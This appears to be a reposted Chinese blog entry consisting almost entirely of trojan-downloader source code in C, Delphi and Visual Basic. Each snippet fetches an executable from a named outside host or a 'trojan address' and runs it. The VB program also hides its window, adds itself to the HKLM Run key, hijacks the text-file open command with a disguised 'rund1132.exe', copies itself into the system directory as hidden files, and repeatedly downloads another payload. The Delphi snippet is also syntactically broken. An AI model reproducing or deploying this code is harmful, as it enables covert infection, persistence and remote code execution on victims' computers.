原始出处：
http://www.antcodes.cn/post/17.html
Code Language : C
#include<windows.h>
#include<urlmon.h>
#include<process.h>
#include<Shellapi.h> //这里这个头文件是对ShellExecute的定义
#pragma comment (lib,"Urlmon.lib")
int main
(
)
{
URLDownloadToFile
(
NULL,
"http://www.lzitw.com/kj/hoho.exe",
"C:\test.exe",
0,
NULL
);
ShellExecute
(
0,
"open",
"c:\test.exe",
NULL,
NULL,SW_SHOW
);
return
0;
}
Parsed in 0.003 seconds
Code Language : Delphi
//调用API
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,
Dialogs, StdCtrls, ExtDlgs, ShellAPI;
//调用的API函数
ShellExecute
URLDownloadTofile
//在Delpihi在窗体运行的那个过程（form1.CREAT）里写上
URLDownloadToFile
(
0,
'木马地址',
'c:\蓝梦泽.exe',
0,
0
ShellExecute
(
0,
'Open',
'c:\fhm.exe',
nil,
nil, SW_SHOWNORMAL
);
Parsed in 0.009 seconds
Code Language : Visual Basic
Private
Declare
Sub Sleep Lib
"kernel32"
(ByVal dwMilliseconds
As
Long
)
'延迟1秒
Private
Declare
Function URLDownloadToFile Lib
"urlmon" Alias
"URLDownloadToFileA"
(ByVal pCaller
As
Long, ByVal szURL
As
String, ByVal szFileName
As
String, ByVal dwReserved
As
Long, ByVal lpfnCB
As
Long
)
As
Long
Private
Declare
Function GetTempPath Lib
"kernel32" Alias
"GetTempPathA"
(ByVal nBufferLength
As
Long, ByVal lpBuffer
As
String
)
As
Long
Private
Declare
Function RegCreateKey Lib
"advapi32.dll" Alias
"RegCreateKeyA"
(ByVal hKey
As
Long, ByVal lpSubKey
As
String, phkResult
As
Long
)
As
Long
Private
Declare
Function RegCloseKey Lib
"advapi32.dll"
(ByVal hKey
As
Long
)
As
Long
Private
Declare
Function RegSetvalueEx Lib
"advapi32.dll" Alias
"RegSetvalueExA"
(ByVal hKey
As
Long, ByVal lpvalueName
As
String, ByVal Reserved
As
Long, ByVal dwType
As
Long, lpData
As Any, ByVal cbData
As
Long
)
As
Long
' Note that if you declare the lpData parameter as String, you must pass it By value.
Const Key_Run =
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ =
1
' Unicode nul terminated string
Dim LhKey
As
Long
Private
Declare
Function RegOpenKey Lib
"advapi32.dll" Alias
"RegOpenKeyA"
(ByVal hKey
As
Long, ByVal lpSubKey
As
String, phkResult
As
Long
)
As
Long
Private
Declare
Function GetModuleFileName Lib
"kernel32" Alias
"GetModuleFileNameA"
(ByVal hModule
As
Long, ByVal lpFileName
As
String, ByVal nSize
As
Long
)
As
Long
Private
Declare
Function GetSystemDirectory Lib
"kernel32" Alias
"GetSystemDirectoryA"
(ByVal lpBuffer
As
String, ByVal nSize
As
Long
)
As
Long
Private Sys
As
String
'系统目录
Private US
As
String
'自己
Private Tmp
As
String
'临时文件夹
Private
Declare
Function FindWindow Lib
"user32" Alias
"FindWindowA"
(ByVal lpClassName
As
String, ByVal lpWindowName
As
String
)
As
Long
Private
Sub form_Load
(
)
On
Error
Resume
Next
Dim RegEdit
As Object, Apppath
As
String
Dim Cp
As
String
Dim Ret
As
Long
Dim sCurrentPath
As
String, sSystemDir
As
String
sCurrentPath = App.
Path &
"\" & App.
EXEName &
".exe"
form1.
Visible =
False
Sys =
String
(
255,
0
)
Ret = GetSystemDirectory
(Sys,
255
)
Sys =
Left
(Sys, Ret
)
'获得系统目录
US =
String
(
1024,
0
)
'获得自己的完整路径
Ret = GetModuleFileName
(
0, US,
1024
)
US =
Left
(US,
InStr
(US,
Chr
(
0
)
) -
1
)
Tmp = Temp
'获得完整临时目录
If
Dir
(Sys &
"\" &
"hoho.exe"
) =
""
Then
Ret = URLDownloadToFile
(
0,
"http://www.lzitw.com/kj/hoho.exe", Sys &
"\hoho.exe",
0,
0
)
End
If
Cp = Sys &
"\system.exe"
Ret = RegCreateKey
(HKEY_LOCAL_MACHINE, Key_Run, LhKey
)
'写入注册表,以便开机重启
Ret = RegSetvalueEx
(LhKey,
"server",
0&, REG_SZ, ByVal Cp,
Len
(Cp
) +
1
)
Ret = RegCloseKey
(LhKey
)
If
InStr
(
UCase
(US
),
"INETDBS"
) =
0
Then
End
If
Apppath =
IIf
(
Right
(App.
Path,
1
) =
"\",
Left
(App.
Path,
Len
(App.
Path
) -
1
), App.
Path
)
'取得当前路径，如果是在根目录下就要去掉一个“\"
Set RegEdit =
CreateObject
(
"WScript.Shell"
)
RegEdit.
regwrite
"HKEY_CLASSES_ROOT\txtfile\shell\open\command\", Sys &
"\" &
"rund1132" &
".exe %1"
On
Error
Resume
Next
Dim cmd
As
String
cmd =
Command
(
)
If cmd <>
""
Then
Shell
"NOTEPAD.EXE " & cmd, vbNormalFocus
End
If
On
Error
Resume
Next
FileCopy sCurrentPath, Sys &
"\System.exe"
On
Error
Resume
Next
FileCopy sCurrentPath, Sys &
"\" &
"\rund1132.exe"
SetAttr Sys &
"\" &
"\rund1132.exe",
7
'判断程序是否下在运行
If App.
PrevInstance
Then
End
End
If
Kill Sys &
"\systrsy.exe"
Do
While
Dir
(Sys &
"\" &
"systrsy.exe"
) =
""
Ret = URLDownloadToFile
(
0,
"url", Sys &
"\systrsy.exe",
0,
0
)
Call Sleep
(
100000
)
Loop
Shell Sys &
"\" &
"systrsy" &
".exe", vbNormalFocus
Parsed in 0.078 seconds
转载于:https://www.cnblogs.com/HappyQQ/archive/2008/01/10/1033871.html
相关资源：Delphi共享软件试用限制注册码生成程序源代码
